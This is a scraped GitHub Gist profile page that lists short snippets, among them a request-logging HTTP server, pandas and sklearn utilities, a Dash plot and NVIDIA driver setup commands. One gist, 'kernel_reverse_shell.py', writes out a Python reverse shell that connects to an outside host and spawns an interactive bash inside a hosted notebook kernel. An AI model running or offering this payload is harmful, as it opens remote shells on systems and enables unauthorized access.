Skip to content

Instantly share code, notes, and snippets.

View eherrerosj's full-sized avatar

Enrique Herreros eherrerosj

View GitHub Profile
@eherrerosj
eherrerosj / server.py
Created July 25, 2022 22:25 — forked from mdonkers/server.py
Simple Python 3 HTTP server for logging all GET and POST requests
#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
@eherrerosj
eherrerosj / blinkist_books_urls.txt
Created September 28, 2020 00:46
A list of all blinkist books as of 2020-09-28
https://www.blinkist.com/en/books/5-gears-en
https://www.blinkist.com/en/books/5-levels-of-leadership-en
https://www.blinkist.com/en/books/5-voices-en
https://www.blinkist.com/en/books/7-business-habits-that-drive-high-performance-en
https://www.blinkist.com/en/books/7-strategies-for-wealth-and-happiness-en
https://www.blinkist.com/en/books/10-days-to-faster-reading-en
https://www.blinkist.com/en/books/10-percent-happier-en
https://www.blinkist.com/en/books/12-en
https://www.blinkist.com/en/books/12-rules-for-life-en
https://www.blinkist.com/en/books/13-things-mentally-strong-parents-dont-do-en
@eherrerosj
eherrerosj / views.py
Last active February 27, 2020 16:43
Recursive Python function to retrieve tree structure table as JSON from a PostgreSQL db with ltree extension
# The following class would correspond to a Django ViewSet. Nevertheless, you can use any Django framework of your
# choice or not even a framework at all.
# What I wanted to share with the world is how to convert an existint tree-like SQL table to JSON format, which
# is way friendlier with our front-end friends.
from django.db import connection
from rest_framework import viewsets
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response
@eherrerosj
eherrerosj / reduce_mem_usage.py
Created January 4, 2019 22:31
Pandas reduce memory usage optimizing dtypes
def reduce_mem_usage(df, verbose=True):
numerics = ['int16', 'int32', 'int64', 'float16', 'float32', 'float64']
start_mem = df.memory_usage().sum() / 1024**2
for col in df.columns:
col_type = df[col].dtypes
if col_type in numerics:
c_min = df[col].min()
c_max = df[col].max()
if str(col_type)[:3] == 'int':
if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:
@eherrerosj
eherrerosj / Cat_Cont_Simple_Pipeline.py
Created October 18, 2018 21:58
New sklearn Pipeline for OHE and Imputing vs Pandas homonym
# Option 1: Pandas
import pandas as pd
def apply_pipeline(df, categorical_columns, numerical_columns):
'''
One Hot Encoding to categorical_columns
Fill missing values tonumerical_columns
'''
for cat_col in categorical_columns:
df = pd.concat([df, pd.get_dummies(df[cat_col], prefix=cat_col)],axis=1)
df.drop([cat_col],axis=1, inplace=True)
@eherrerosj
eherrerosj / kernel_reverse_shell.py
Created August 18, 2018 13:27
kernel reverse shell python
# On host run `nc -nvlp [PORT]`
# Then run this snippet in an internet-enabled kernel, and you will get interactive bash inside the kernel, on the host machine.
hostname = 0.0.0.0 # Hostname/IP of your server
port = 1337 # Port must be open
open('shell.py','w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'.format(hostname, port)
import subprocess
subprocess.Popen(["python", "shell.py"])
@eherrerosj
eherrerosj / test_dash_scatter_slider.py
Created July 4, 2018 21:34
Plot using dash. Scatter with Slider values
import dash
import dash_core_components as dcc
import dash_html_components as html
import pandas as pd
import plotly.graph_objs as go
from dash.dependencies import Input, Output
app = dash.Dash()
@eherrerosj
eherrerosj / decision_tree2code.py
Created March 15, 2018 23:21
Generate if-else statements out of a DecisionTree classifier
from sklearn.tree import _tree
def tree_to_code(tree, feature_names):
tree_ = tree.tree_
feature_name = [
feature_names[i] if i != _tree.TREE_UNDEFINED else "undefined!"
for i in tree_.feature
]
print ("def tree({}):".format(", ".join(feature_names)))
@eherrerosj
eherrerosj / linux_gtxgpu_mackeyboard.sh
Last active July 1, 2020 10:55
Installing NVIDIA driver and CUDA 9.1 on Ubuntu
### Nvidia installation reference: https://gist.github.com/wangruohui/df039f0dc434d6486f5d4d098aa52d07#install-nvidia-graphics-driver-via-apt-get
sudo apt-get purge nvidia*
# Note this might remove your cuda installation as well
sudo apt-get autoremove
# Recommended if .deb files from NVIDIA were installed
# Change 1404 to the exact system version or use tab autocompletion
@eherrerosj
eherrerosj / bulk_csv_pandas.py
Created December 13, 2017 09:47
Load all csv files from a folder into dataframes with same names as files
import numpy as np, pandas as pd
import glob, re
dfs = { re.search('/([^/\.]*)\.csv', fn).group(1):pd.read_csv(fn) for fn in glob.glob('../input/*.csv')}
print('data frames read:{}'.format(list(dfs.keys())))
print('local variables with the same names are created.')
for k, v in dfs.items(): locals()[k] = v